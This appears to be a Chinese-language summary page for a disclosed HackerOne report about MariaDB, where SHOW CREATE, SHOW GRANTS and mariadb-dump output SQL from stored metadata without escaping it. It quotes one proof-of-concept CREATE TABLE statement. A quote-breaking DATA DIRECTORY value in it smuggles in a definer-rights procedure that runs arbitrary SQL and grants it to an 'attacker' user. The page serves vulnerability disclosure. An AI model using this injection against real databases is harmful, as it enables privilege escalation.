`SHOW [CREATE|GRANTS] ...` / `mariadb-dump` Unescaped SQL Generation
该报告还没有中文解读。
原文摘录
摘自原文(7488 字符中的一小部分)
MariaDB has several `SHOW ...` paths that output SQL built from stored metadata that is not appropriately escaped.
原文中的代码
CREATE TABLE poc ( id INT ) ENGINE=InnoDB DATA DIRECTORY='/tmp/mdb-show-unescaped/'';CREATE PROCEDURE vf_exec(q TEXT) SQL SECURITY DEFINER EXECUTE IMMEDIATE q;GRANT EXECUTE ON PROCEDURE vf_exec TO ''attacker''@''localhost''; -- ';
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 MariaDB 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @vortfu · 版权归作者与 MariaDB 所有